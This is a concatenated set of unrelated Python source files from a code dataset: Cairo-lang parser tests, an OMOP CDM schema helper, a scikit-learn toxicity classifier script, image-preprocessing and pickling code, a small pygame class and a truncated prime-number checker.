!= 0; ap++'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('jmprel 17 if x != 0')\n with pytest.raises(ParserError):\n parse_instruction('jmp 17 if x')\n with pytest.raises(ParserError, match='!= 0'):\n parse_instruction('jmp rel 17 if x != 2')\n with pytest.raises(ParserError):\n parse_instruction('jmp rel [fp] ifx != 0')\n\n # Jnz to label.\n expr = parse_instruction('jmp label if [fp] != 0')\n assert expr == \\\n InstructionAst(\n body=JumpToLabelInstruction(\n label=ExprIdentifier('label'),\n condition=ExprDeref(addr=ExprReg(reg=Register.FP))),\n inc_ap=False)\n assert expr.format() == 'jmp label if [fp] != 0'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('jmp [fp] if [fp] != 0')\n with pytest.raises(ParserError):\n parse_instruction('jmp 7 if [fp] != 0')\n\n # Call abs.\n expr = parse_instruction('call abs [fp] + x')\n assert expr == \\\n InstructionAst(\n body=CallInstruction(\n val=ExprOperator(\n a=ExprDeref(addr=ExprReg(reg=Register.FP)),\n op='+',\n b=ExprIdentifier(name='x')),\n relative=False),\n inc_ap=False)\n assert expr.format() == 'call abs [fp] + x'\n assert parse_instruction('call abs 17;ap++').format() == 'call abs 17; ap++'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('call abs')\n with pytest.raises(ParserError):\n parse_instruction('callabs 7')\n\n # Call rel.\n expr = parse_instruction('call rel [ap] + x')\n assert expr == \\\n InstructionAst(\n body=CallInstruction(\n val=ExprOperator(\n a=ExprDeref(addr=ExprReg(reg=Register.AP)),\n op='+',\n b=ExprIdentifier(name='x')),\n relative=True),\n inc_ap=False)\n assert expr.format() == 'call rel [ap] + x'\n assert parse_instruction('call rel 17;ap++').format() == 'call rel 17; ap++'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('call rel')\n with pytest.raises(ParserError):\n parse_instruction('callrel 7')\n\n # Call label.\n expr = parse_instruction('call label')\n assert expr == \\\n InstructionAst(\n body=CallLabelInstruction(\n label=ExprIdentifier(name='label')),\n inc_ap=False)\n assert expr.format() == 'call label'\n assert parse_instruction('call label ;ap++').format() == 'call label; ap++'\n # Make sure the following are not OK.\n with pytest.raises(ParserError):\n parse_instruction('call [fp]')\n with pytest.raises(ParserError):\n parse_instruction('call 7')\n\n # Ret.\n expr = parse_instruction('ret')\n assert expr == \\\n InstructionAst(\n body=RetInstruction(),\n inc_ap=False)\n assert expr.format() == 'ret'\n\n # AddAp.\n expr = parse_instruction('ap += [fp] + 2')\n assert expr == \\\n InstructionAst(\n body=AddApInstruction(\n expr=ExprOperator(\n a=ExprDeref(\n addr=ExprReg(reg=Register.FP)),\n op='+',\n b=ExprConst(val=2))),\n inc_ap=False)\n assert expr.format() == 'ap += [fp] + 2'\n assert parse_instruction('ap +=[ fp]+ 2').format() == 'ap += [fp] + 2'\n assert parse_instruction('ap +=[ fp]+ 2;ap ++').format() == 'ap += [fp] + 2; ap++'\n\n\ndef test_import():\n # Test module names without periods.\n res = parse_code_element('from a import b')\n assert res == CodeElementImport(\n path=ExprIdentifier(name='a'),\n import_items=[AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='b'),\n local_name=None)])\n assert res.format(allowed_line_length=100) == 'from a import b'\n\n # Test module names without periods, with aliasing.\n res = parse_code_element('from a import b as c')\n assert res == CodeElementImport(\n path=ExprIdentifier(name='a'),\n import_items=[AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='b'),\n local_name=ExprIdentifier(name='c'))])\n assert res.format(allowed_line_length=100) == 'from a import b as c'\n\n # Test module names with periods.\n res = parse_code_element('from a.b12.c4 import lib345')\n assert res == CodeElementImport(\n path=ExprIdentifier(name='a.b12.c4'),\n import_items=[AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='lib345'),\n local_name=None)])\n assert res.format(allowed_line_length=100) == 'from a.b12.c4 import lib345'\n\n # Test multiple imports.\n res = parse_code_element('from lib import a,b as b2, c')\n\n assert res == CodeElementImport(\n path=ExprIdentifier(name='lib'),\n import_items=[\n AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='a'),\n local_name=None),\n AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='b'),\n local_name=ExprIdentifier(name='b2')),\n AliasedIdentifier(\n orig_identifier=ExprIdentifier(name='c'),\n local_name=None),\n ])\n assert res.format(allowed_line_length=100) == 'from lib import a, b as b2, c'\n assert res.format(allowed_line_length=20) == 'from lib import (\\n a, b as b2, c)'\n\n assert res == parse_code_element('from lib import (\\n a, b as b2, c)')\n\n # Test module with bad identifier (with periods).\n with pytest.raises(ParserError):\n parse_expr('from a.b import c.d')\n\n # Test module with bad local name (with periods).\n with pytest.raises(ParserError):\n parse_expr('from a.b import c as d.d')\n\n\ndef test_return_value_reference():\n res = parse_code_element('let z=call x')\n assert res.format(allowed_line_length=100) == 'let z = call x'\n\n res = parse_code_element('let z:y.z=call x')\n assert res.format(allowed_line_length=100) == 'let z : y.z = call x'\n\n res = parse_code_element('let z:y.z=call rel x')\n assert res.format(allowed_line_length=100) == 'let z : y.z = call rel x'\n\n res = parse_code_element(\n 'let very_long_prefix = foo(a=1, b= 1, very_long_arg_1=1, very_long_arg_2 =1)')\n assert res.format(\n allowed_line_length=40) == \"\"\"\\\nlet very_long_prefix = foo(\n a=1,\n b=1,\n very_long_arg_1=1,\n very_long_arg_2=1)\"\"\"\n\n res = parse_code_element(\n 'let (very_long_prefix ,b,c: T) = foo(a=1, b= 1, very_long_arg_1=1, very_long_arg_2 =1)')\n assert res.format(\n allowed_line_length=40) == \"\"\"\\\nlet (very_long_prefix, b, c : T) = foo(\n a=1,\n b=1,\n very_long_arg_1=1,\n very_long_arg_2=1)\"\"\"\n\n with pytest.raises(ParserError):\n # Const in the unpacking tuple.\n parse_expr('let (1,b,c) = foo(a=1, b= 1)')\n\n with pytest.raises(ParserError):\n # Missing identifier after call.\n parse_expr('let z = call')\n\n with pytest.raises(ParserError):\n # 'ap++' cannot be used in the return value reference syntax.\n parse_expr('let z = call x; ap++')\n\n\ndef test_return():\n res = parse_code_element('return( 1, \\na= 2 )')\n assert res.format(allowed_line_length=100) == 'return (1, a=2)'\n\n\ndef test_func_call():\n res = parse_code_element('fibonacci( 1, \\na= 2 )')\n assert res.format(allowed_line_length=100) == 'fibonacci(1, a=2)'\n\n res = parse_code_element('fibonacci {a=b,c = d}( 1, \\na= 2 )')\n assert res.format(allowed_line_length=100) == 'fibonacci{a=b, c=d}(1, a=2)'\n assert res.format(allowed_line_length=20) == 'fibonacci{a=b, c=d}(\\n 1, a=2)'\n assert res.format(allowed_line_length=15) == 'fibonacci{\\n a=b, c=d}(\\n 1, a=2)'\n\n\ndef test_tail_call():\n res = parse_code_element('return fibonacci( 1, \\na= 2 )')\n assert res.format(allowed_line_length=100) == 'return fibonacci(1, a=2)'\n\n\ndef test_func_with_args():\n def def_func(args_str):\n return f\"\"\"\\\nfunc myfunc{args_str}:\n [ap] = 4\nend\"\"\"\n\n def test_format(args_str_wrong, args_str_right=''):\n assert parse_code_element(def_func(args_str_wrong)).format(\n allowed_line_length=100) == def_func(args_str_right)\n\n test_format(' ( x : T, y : S, z ) ', '(x : T, y : S, z)')\n test_format('(x,y,z)', '(x, y, z)')\n test_format('(x,y,z,)', '(x, y, z)')\n test_format('(x,\\ny,\\nz)', '(x, y, z)')\n test_format('(\\nx,\\ny,\\nz)', '(x, y, z)')\n test_format('( )', '()')\n test_format('(\\n\\n)', '()')\n\n test_format('(x,y,z,)-> (a,b,c)', '(x, y, z) -> (a, b, c)')\n test_format('()->(a,b,c)', '() -> (a, b, c)')\n test_format('(x,y,z) ->()', '(x, y, z) -> ()')\n\n # Implicit arguments.\n test_format('{x,y\\n\\n}(z,w)->()', '{x, y}(z, w) -> ()')\n\n with pytest.raises(ParserError):\n test_format('')\n\n with pytest.raises(ParserError):\n # Argument name cannot contain dots.\n test_format('(x.y, z)')\n\n with pytest.raises(ParserError):\n # Arguments must be separated by a comma.\n test_format('(x y)')\n\n with pytest.raises(ParserError):\n # Double trailing comma is not allowed.\n test_format('(x,y,z,,)')\n\n with pytest.raises(FormattingError):\n test_format('(x #comment\\n,y,z)->()')\n\n\ndef test_decoractor():\n code = \"\"\"\\\n@hello @world\n\n\n@external func myfunc():\n return ()\nend\"\"\"\n\n assert parse_code_element(code=code).format(allowed_line_length=100) == \"\"\"\\\n@hello\n@world\n@external\nfunc myfunc():\n return ()\nend\"\"\"\n\n\ndef test_decoractor_errors():\n verify_exception(\"\"\"\n@hello world\nfunc myfunc():\n return()\nend\n\"\"\", \"\"\"\nfile:?:?: Unexpected token Token(IDENTIFIER, \\'world\\'). Expected one of: \"@\", func.\n@hello world\n ^***^\n\"\"\")\n\n verify_exception(\"\"\"\n@hello-world\nfunc myfunc():\n return()\nend\n\"\"\", \"\"\"\nfile:?:?: Unexpected token Token(MINUS, \\'-\\'). Expected one of: \"@\", func.\n@hello-world\n ^\n\"\"\")\n\n\ndef test_reference_type_annotation():\n res = parse_code_element('let s : T * = ap')\n assert res.format(allowed_line_length=100) == 'let s : T* = ap'\n\n with pytest.raises(ParserError):\n parse_expr('local x : = 0')\n\n\ndef test_addressof():\n res = parse_code_element('static_assert & s.SIZE == ap ')\n assert res.format(allowed_line_length=100) == 'static_assert &s.SIZE == ap'\n\n\ndef test_func_expr():\n res = parse_code_element('let x = f()')\n assert isinstance(res, CodeElementReturnValueReference)\n assert res.format(allowed_line_length=100) == 'let x = f()'\n\n res = parse_code_element('let x = (f())')\n assert isinstance(res, CodeElementReference)\n assert res.format(allowed_line_length=100) == 'let x = (f())'\n\n\ndef test_parent_location():\n parent_location = (\n parse_expr('1 + 2').location, 'An error ocurred while processing:')\n\n location = parse_code_element('let x = 3 + 4', parser_context=ParserContext(\n parent_location=parent_location)).expr.location\n location_err = LocationError(message='Error', location=location)\n assert str(location_err) == \"\"\"\\\n:1:1: An error ocurred while processing:\n1 + 2\n^***^\n:1:9: Error\nlet x = 3 + 4\n ^***^\\\n\"\"\"\n\n\ndef test_locations():\n code_with_marks = \"\"\"\\\n [ap ] = [ fp + 2]; ap ++\n ^***********************^\n ^***************^\n ^***^\n ^^\n ^*******^\n ^****^\n ^^\n ^\n\"\"\"\n\n lines = code_with_marks.splitlines()\n code, marks = lines[0], lines[1:]\n expr = parse_instruction(code)\n exprs = [\n expr,\n expr.body,\n expr.body.a,\n expr.body.a.addr,\n expr.body.b,\n expr.body.b.addr,\n expr.body.b.addr.a,\n expr.body.b.addr.b,\n ]\n for expr, mark in safe_zip(exprs, marks):\n assert get_location_marks(code, expr.location) == code + '\\n' + mark\n","sub_path":"vendor/cairo-lang/src/starkware/cairo/lang/compiler/parser_test.py","file_name":"parser_test.py","file_ext":"py","file_size_in_byte":23587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214576491","text":"class OmopCDM:\n\n def __init__(self):\n self.all_columns = {\n \"condition_occurrence\": [\"condition_occurrence_id\", \"person_id\",\n \"condition_concept_id\", \"condition_start_date\",\n \"condition_start_datetime\", \"condition_end_date\",\n \"condition_end_datetime\", \"condition_type_concept_id\",\n \"stop_reason\", \"provider_id\", \"visit_occurrence_id\",\n \"condition_source_value\", \"condition_source_concept_id\",\n \"condition_status_source_value\", \"condition_status_concept_id\"],\n \"death\": [\"person_id\", \"death_date\", \"death_datetime\", \"death_type_concept_id\",\n \"cause_concept_id\", \"cause_source_value\", \"cause_source_concept_id\"],\n \"drug_exposure\": [\"drug_exposure_id\", \"person_id\", \"drug_concept_id\",\n \"drug_exposure_start_date\", \"drug_exposure_start_datetime\",\n \"drug_exposure_end_date\", \"drug_exposure_end_datetime\", \"verbatim_end_date\",\n \"drug_type_concept_id\", \"stop_reason\",\n \"refills\", \"quantity\", \"days_supply\", \"sig\", \"route_concept_id\",\n \"lot_number\", \"provider_id\", \"visit_occurrence_id\",\n \"drug_source_value\", \"drug_source_concept_id\", \"route_source_value\",\n \"dose_unit_source_value\"],\n \"measurement\": [\"measurement_id\", \"person_id\", \"measurement_concept_id\", \"measurement_date\", \"measurement_datetime\", \"measurement_type_concept_id\",\n \"operator_concept_id\", \"value_as_number\", \"value_as_concept_id\", \"unit_concept_id\", \"range_low\", \"range_high\", \"provider_id\",\n \"visit_occurrence_id\", \"measurement_source_value\", \"measurement_source_concept_id\", \"unit_source_value\", \"value_source_value\"],\n \"observation\": [\"observation_id\", \"person_id\", \"observation_concept_id\", \"observation_date\",\n \"observation_datetime\", \"observation_type_concept_id\", \"value_as_number\",\n \"value_as_string\", \"value_as_concept_id\", \"qualifier_concept_id\", \"unit_concept_id provider_id\",\n \"visit_occurrence_id\", \"observation_source_value\", \"observation_source_concept_id\", \"unit_source_value\", \"qualifier_source_value\"],\n \"person\": [\"person_id\", \"gender_concept_id\", \"year_of_birth\", \"month_of_birth\", \"day_of_birth\", \"birth_datetime\", \"race_concept_id\", \"ethnicity_concept_id\",\n \"location_id\", \"provider_id\", \"care_site_id\", \"person_source_value\", \"gender_source_value\", \"gender_source_concept_id\",\n \"race_source_value\", \"race_source_concept_id\", \"ethnicity_source_value\", \"ethnicity_source_concept_id\"],\n \"procedure_occurrence\": [\"procedure_occurrence_id\", \"person_id\", \"procedure_concept_id\", \"procedure_date\", \"procedure_datetime\", \"procedure_type_concept_id\", \"modifier_concept_id\",\n \"quantity\", \"provider_id\", \"visit_occurrence_id\", \"procedure_source_value\", \"procedure_source_concept_id\", \"qualifier_source_value\"],\n \"specimen\": [\"specimen_id\", \"person_id\", \"specimen_concept_id\", \"specimen_type_concept_id\", \"specimen_date\", \"specimen_datetime\", \"quantity\", \"unit_concept_id\",\n \"anatomic_site_concept_id\", \"disease_status_concept_id\", \"specimen_source_id\", \"specimen_source_value\", \"unit_source_value\", \"anatomic_site_source_value\", \"disease_status_source_value\"],\n \"visit_occurrence\": [\"visit_occurrence_id\", \"person_id\", \"visit_concept_id\", \"visit_start_date\", \"visit_start_datetime\",\n \"visit_end_date\", \"visit_end_datetime\", \"visit_type_concept_id\", \"provider_id\", \"care_site_id\",\n \"visit_source_value\", \"visit_source_concept_id\", \"admitting_source_concept_id\", \"admitting_source_value\",\n \"discharge_to_concept_id\", \"discharge_to_source_value\", \"preceding_visit_occurrence_id\"]\n }\n self.required_columns = {\n \"condition_occurrence\": [\"person_id\", \"condition_concept_id\", \"condition_start_datetime\"],\n \"death\": [\"person_id\", \"death_type_concept_id\"],\n \"drug_exposure\": [\"drug_exposure_id\", \"person_id\", \"drug_concept_id\", \"drug_exposure_start_datetime\"],\n \"measurement\": [\"measurement_id\", \"person_id\", \"measurement_concept_id\", \"measurement_datetime\"],\n \"observation\": [\"observation_id\", \"person_id\", \"observation_concept_id\", \"observation_datetime\"],\n \"person\": [\"person_id\", \"gender_concept_id\", \"birth_datetime\"],\n \"procedure_occurrence\": [\"procedure_occurrence_id\", \"person_id\", \"procedure_concept_id\", \"procedure_datetime\"],\n \"specimen\": [\"specimen_id\", \"person_id\", \"specimen_concept_id\", \"specimen_datetime\"],\n \"visit_occurrence\": [\"visit_occurrence_id\", \"person_id\", \"visit_concept_id\", \"visit_start_date\",\n \"visit_end_date\", \"visit_type_concept_id\"]\n }\n self.date_column_data = {\n \"condition_occurrence\": {\"condition_start_datetime\": \"condition_start_date\", \"condition_end_datetime\": \"condition_end_date\"},\n \"death\": {\"death_datetime\": \"death_date\"},\n \"drug_exposure\": {\"drug_exposure_start_datetime\": \"drug_exposure_start_date\", \"drug_exposure_end_datetime\": \"drug_exposure_end_date\"},\n \"measurement\": {\"measurement_datetime\": \"measurement_date\"},\n \"observation\": {\"observation_datetime\": \"observation_date\"},\n #\"person\": {\"birth_datetime\": [\"year_of_birth\", \"month_of_birth\", \"day_of_birth\"]},\n \"procedure_occurrence\": {\"procedure_datetime\": \"procedure_date\"},\n \"specimen\": {\"specimen_datetime\": \"specimen_date\"},\n \"visit_occurrence\": {\"visit_start_datetime\": \"visit_start_date\", \"visit_end_datetime\": \"visit_end_date\"}\n }\n self.datetime_columns = {\n \"condition_occurrence\": [\"condition_start_datetime\", \"condition_end_datetime\"],\n \"death\": [\"death_datetime\"],\n \"drug_exposure\": [\"drug_exposure_start_datetime\", \"drug_exposure_end_datetime\"],\n \"measurement\": [\"measurement_datetime\"],\n \"observation\": [\"observation_datetime\"],\n \"person\": [\"birth_datetime\"],\n \"procedure_occurrence\": [\"procedure_datetime\"],\n \"specimen\": [\"specimen_datetime\"],\n \"visit_occurrence\": [\"visit_start_datetime\", \"visit_end_datetime\"]\n }\n self.person_id_column = {\n \"condition_occurrence\": \"person_id\",\n \"death\": \"person_id\",\n \"drug_exposure\": \"person_id\",\n \"measurement\": \"person_id\",\n \"observation\": \"person_id\",\n \"person\": \"person_id\",\n \"procedure_occurrence\": \"person_id\",\n \"specimen\": \"person_id\",\n \"visit_occurrence\": \"person_id\"\n }\n self.auto_number_column = {\n \"condition_occurrence\": \"condition_occurrence_id\",\n \"death\": \"death_id\",\n \"drug_exposure\": \"drug_exposure_id\",\n \"measurement\": \"measurement_id\",\n \"observation\": \"observation_id\",\n \"procedure_occurrence\": \"procedure_occurrence_id\",\n \"specimen\": \"specimen_id\",\n \"visit_occurrence\": \"visit_occurrence_id\"\n }\n\n def get_column_map(self, colarr, delim=\",\"):\n colmap = {}\n for i, col in enumerate(colarr):\n colmap[col] = i\n return colmap\n\n def get_omop_column_map(self, tablename):\n if tablename in self.all_columns:\n return self.get_column_map(self.all_columns[tablename])\n return None\n\n def get_omop_column_list(self, tablename):\n if tablename in self.all_columns:\n return self.all_columns[tablename]\n return None\n\n def is_omop_data_field(self, tablename, fieldname):\n if fieldname in self.get_omop_date_column_data(tablename):\n return False\n if fieldname in self.get_omop_datetime_fields(tablename):\n return False\n if fieldname in self.get_omop_person_id_field(tablename):\n return False\n return True\n\n def get_omop_date_column_data(self, tablename):\n if tablename in self.date_column_data:\n return self.date_column_data[tablename]\n return {}\n\n def get_omop_datetime_fields(self, tablename):\n if tablename in self.datetime_columns:\n return self.datetime_columns[tablename]\n return None\n\n def get_omop_person_id_field(self, tablename):\n if tablename in self.person_id_column:\n return self.person_id_column[tablename]\n return None\n\n def get_omop_auto_number_field(self, tablename):\n if tablename in self.auto_number_column:\n return self.auto_number_column[tablename]\n return None\n","sub_path":"carrot/tools/omopcdm.py","file_name":"omopcdm.py","file_ext":"py","file_size_in_byte":9921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"497366254","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 21 17:09:24 2014\r\n\r\n@author: gergo\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom sklearn.ensemble import ExtraTreesClassifier\r\n\r\n#==============================================================================\r\n# Data prepartation steps\r\n#==============================================================================\r\n\r\ndset = 'nr-aromatase'\r\n\r\ndfap = pd.read_csv('allin-rca-lmv.csv',sep=';',na_values=[''], dtype=np.object)\r\n\r\n# Remove columns w/ excessive missing data\r\nfor i in dfap.columns:\r\n #if (pd.isnull(dfap[i]).sum() >= len(dfap)*0.1):\r\n if (pd.isnull(dfap[i]).sum() > 225):\r\n print('Deleting ',i, pd.isnull(dfap[i]).sum())\r\n del dfap[i]\r\n\r\n# Discard non-numerical data, conversion\r\nmols = dfap['Molecule name'] \r\ndel dfap['Molecule name'] \r\ndel dfap['Salt Stripped Molecule'] \r\ndfap = dfap.astype(np.float)\r\ndfap['Molecule name'] = mols \r\n\r\n\r\n#==============================================================================\r\n# Construct taining set\r\n#==============================================================================\r\ndfs = pd.read_csv('all-molecules.csv',sep=',',na_values=[''], dtype=np.object)\r\n\r\n# sanitize column names\r\ndfap.columns = [col.lower().strip().replace(' ','_') for col in dfap.columns.values]\r\ndfs.columns = [col.lower().strip().replace(' ','_') for col in dfs.columns.values]\r\n\r\n# Select proper target attr\r\ndfs['active'] = dfs[dset]\r\n\r\n \r\ntrain = pd.merge(dfap, dfs[['molecule_name','active']].dropna(), on = 'molecule_name', how = 'inner', suffixes = ['_l', '_r']) \r\n\r\n\r\n\r\n#==============================================================================\r\n# Construct test set\r\n#==============================================================================\r\ntest = pd.read_csv('allfinal.csv',sep=';',na_values=[''], dtype=np.object)\r\ntest.columns = [col.lower().strip().replace(' ','_') for col in test.columns.values]\r\n\r\n\r\ntest = test[train.columns.difference(['active'])]\r\n\r\n#==============================================================================\r\n# Handle missing data\r\n#==============================================================================\r\ntest = test.fillna(0)\r\ntrain = train.dropna()\r\n\r\n#==============================================================================\r\n# Clean up tables\r\n#==============================================================================\r\n# Discard non-numerical data, conversion\r\ndel train['molecule_name']\r\nmolecule_name = test['molecule_name']\r\ndel test['molecule_name']\r\n\r\n \r\ntest = test.astype(np.float)\r\n \r\ny = train['active'] \r\ndel train['active']\r\n\r\ny = y.astype(np.int)\r\n\r\n#==============================================================================\r\n# Filter attributes by RapidMiner output\r\n#==============================================================================\r\ntr_weights = pd.read_csv('weights-relief-03.csv', sep = ';',na_values=['']) \r\ntr_weights['Attribute'] = tr_weights.Attribute.apply(lambda x: x.lower())\r\ntr_weights = tr_weights.sort_values(by = ['Total_Weight'], ascending=[False])\r\ncols = list(tr_weights[tr_weights['Total_Weight'] > 0.3].ix[:,'Attribute'])\r\n\r\n#==============================================================================\r\n# Modeling\r\n#==============================================================================\r\n# Define model\r\nmod = ExtraTreesClassifier(n_estimators = 999, criterion = 'entropy')\r\n\r\n\r\n# Train model\r\nmod.fit(train[cols],y)\r\n\r\n# Extract top200 feature importances\r\nimps = pd.Series(mod.feature_importances_, index=cols)\r\nimps.sort_values(ascending=False, inplace=True)\r\nimpd = pd.DataFrame(imps.head(200)).reset_index()\r\nimpd.columns = ['Feature','Relative Importance']\r\nimpd.to_csv('feature_importances_%s.csv' % (dset),sep=',',index=False)\r\n\r\n# Issue predictions\r\ny_pred = mod.predict(test[cols])\r\ny_proba = mod.predict_proba(test[cols])\r\n\r\nsubm = pd.DataFrame([x[1] for x in y_proba.tolist()],columns = ['proba'])\r\n\r\n# Select threshold based on training distribution\r\nthr = 0.45\r\n\r\nsubm['active'] = subm.proba.apply(lambda x: 1 if x>=thr else 0)\r\nsubm['molecule_name'] = molecule_name\r\n\r\n\r\n\r\nsubm.rename(columns={'molecule_name' : 'Sample ID','proba' : 'Score','active' : 'Activity'}, inplace=True)\r\n\r\nsubm[['Sample ID','Score','Activity']].to_csv(dset +'-ef.csv',sep='\\t',index=False)","sub_path":"processes/python/nr-aromatase.py","file_name":"nr-aromatase.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508897572","text":"n=input()\na=n.split(\" \")\nn1=len(a[0])\nn2=len(a[1])\ncount=0\nfor i in range (0,n1):\n\tif(a[0][i]!=a[1][i]):\n\t\tcount=count+1\nif(count==1):\n\tprint(\"yes\")\nelse:\n\tprint(\"no\")\n","sub_path":"10set1.py","file_name":"10set1.py","file_ext":"py","file_size_in_byte":168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"427596996","text":"import glob\nimport cv2\nimport random\nimport numpy as np\nimport os\nimport pickle\nfrom PIL import Image\n\n\n\n#pourcentage d'exemples pour train le modèle\n#pourcentage pour le test 1 - split\nsplit = 0.90\nnbClass = 15\npasRotation = 5 #pas de la rotation de l'image en degrée\nrotation = 30\nimgSize = 64\n\n#Afin de récupérer l'ensemble des noms des images stockées \nliste = glob.glob('./image/*.png')\n\"\"\"listeFermee = glob.glob('./image/1/**')\nlisteOuvert = glob.glob('./image/2/**')\n\nlisteFermee2 = glob.glob('./image/Triesch_Dataset/1/**')\nlisteOuvert2 = glob.glob('./image/Triesch_Dataset/2/**')\n\nlisteFermee3 = glob.glob('./image/1_Marcel/**')\nlisteOuvert3 = glob.glob('./image/2_Marcel/**')\"\"\"\n\n#Chargement en RAM des images trouvées\ndata = []\nfor elm in liste:\n #imread avec 0 pour ouvrir en gray scale et 1 pour ouvrir en couleur\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n #img = cv2.equalizeHist(img)\n \"\"\"cv2.imshow('object detection', img)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\"\"\"\n value = int(elm.split('\\\\')[1].split('_')[0])\n data.append([img,value])\n\n\"\"\"\nfor elm in listeFermee:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 1\n img = cv2.equalizeHist(img)\n data.append([img,value])\n\nfor elm in listeOuvert:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 2\n img = cv2.equalizeHist(img)\n data.append([img,value])\n\nfor elm in listeFermee2:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 1\n img = cv2.equalizeHist(img)\n data.append([img,value])\n\nfor elm in listeOuvert2:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 2\n img = cv2.equalizeHist(img)\n data.append([img,value])\n\nfor elm in listeFermee3:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 1\n img = cv2.equalizeHist(img)\n data.append([img,value])\n\nfor elm in listeOuvert3:\n img = np.array(cv2.resize(cv2.imread(elm, 0), (imgSize,imgSize)))\n value = 2\n img = cv2.equalizeHist(img)\n data.append([img,value])\nrandom.shuffle(data)\"\"\"\n\nprint('Chargement en RAM des images done ...')\n#Traitement des images pour l'entrainement du modèle\nX_train = []\ny_train = []\ndata_train = []\nfor elm in data[:int(len(data)*split)]:\n classe = np.zeros(nbClass)\n classe[elm[1]] = 1\n img1 = Image.fromarray(elm[0])\n img2 = Image.fromarray(np.flip(elm[0],1))\n data_train.append([np.flip(elm[0],1), classe])\n data_train.append([elm[0], classe])\n for x in range(-rotation, rotation, pasRotation):\n img1a = img1.rotate(x)\n img2a = img2.rotate(x)\n data_train.append([np.array(img1a), classe])\n data_train.append([np.array(img2a), classe])\n\nprint('Traitement data_train done ...')\n#Traitement des images pour le test du modèle\nX_test = []\ny_test = []\ndata_test = []\nfor elm in data[int(len(data)*split):]:\n classe = np.zeros(nbClass)\n classe[elm[1]] = 1\n img1 = Image.fromarray(elm[0])\n img2 = Image.fromarray(np.flip(elm[0],1))\n data_test.append([np.flip(elm[0],1), classe])\n data_test.append([elm[0], classe])\n for x in range(-rotation, rotation, pasRotation):\n img1a = img1.rotate(x)\n img2a = img2.rotate(x)\n data_test.append([np.array(img1a), classe])\n data_test.append([np.array(img2a), classe])\n\nprint('Traitement data_test done ...')\ndata = 0\nrandom.shuffle(data_test)\nrandom.shuffle(data_train)\n\nXClassTest = [[] for x in range(nbClass)]\nYClassTest = [[] for y in range(nbClass)]\nfor elm in data_test:\n x = np.argmax(elm[1])\n YClassTest[x].append(elm[1])\n XClassTest[x].append(elm[0])\n\n\nfor elm in data_train:\n X_train.append(elm[0])\n y_train.append(elm[1])\ndata_train = 0\n\nfor elm in data_test:\n X_test.append(elm[0])\n y_test.append(elm[1])\ndata_test = 0\n\nX_train, y_train, X_test, y_test = np.array(X_train), np.array(y_train), np.array(X_test), np.array(y_test)\nXClassTest, YClassTest = np.array(XClassTest), np.array(YClassTest)\nprint('Ready to dump')\n\nsave_dir = './dataTrain/'\nif not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n\npickle.dump(X_train, open('./dataTrain/Xtrain.dump', 'wb'))\npickle.dump(y_train, open('./dataTrain/Ytrain.dump', 'wb'))\npickle.dump(X_test, open('./dataTrain/Xtest.dump', 'wb'))\npickle.dump(y_test, open('./dataTrain/Ytest.dump', 'wb'))\n\npickle.dump(XClassTest, open('./dataTrain/XtestClass.dump', 'wb'))\npickle.dump(YClassTest, open('./dataTrain/YtestClass.dump', 'wb'))\n\n\nprint(\"Nombres exemples d'entrainement\", len(X_train))\nprint(\"Nombres exemples de test\", len(X_test))\n\n","sub_path":"dataPickle.py","file_name":"dataPickle.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"482246234","text":"import pygame\n\nclass Table:\n\n def __init__( self, x, y, width, height, r, g, b ):\n self.mWidth = width\n self.mHeight = height\n self.x = x\n self.y = y\n self.mColor = ( r, g, b)\n return\n\n def evolve( self, dt ):\n\n return\n\n\n def draw( self, surface ):\n top = pygame.Rect( int ( self.x ), int ( self.x ), int ( self.mWidth ), int ( self.mHeight ) )\n pygame.draw.rect( surface, self.mColor, rect, 0 )\n\n\n return\n","sub_path":"Illistrate/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"180191119","text":"# A program that looks for prime numbers\n\nfrom time import clock\nfrom math import sqrt\n\nfrom colorama import Fore\nfrom colorama import Style\n\ndef isPrime(number) :\n\t\"\"\"\tChecks if the number is prime\n\t\tReturn True if it is a prime number, else return False\"\"\" \n\t\n\t# First we checks some standard conditions\n\tif number == 2 or number == 3 : # 2 is prime\n\t\treturn True\n\telif number == 1 or number%2 == 0 or number%3 == 0 : \n\t\treturn False\n\n\t\"\"\"\tBelow, we use the fact that prime number are in the form 6K ± 1\n\t\tSo we start with 5 as a divisor, then we add 2 or 4 altertively to test if the number can be divide by potential prime number\n\t\tAs we have already treated the cases of even numbers and the case of numbers which can be divided by 3, \n\t\tthis number can only be divided by prime numbers if it is not a prime number itself.\"\"\"\n\t\n\tdivisor = 5\n\tincValue = 2\n\t\n\twhile divisor 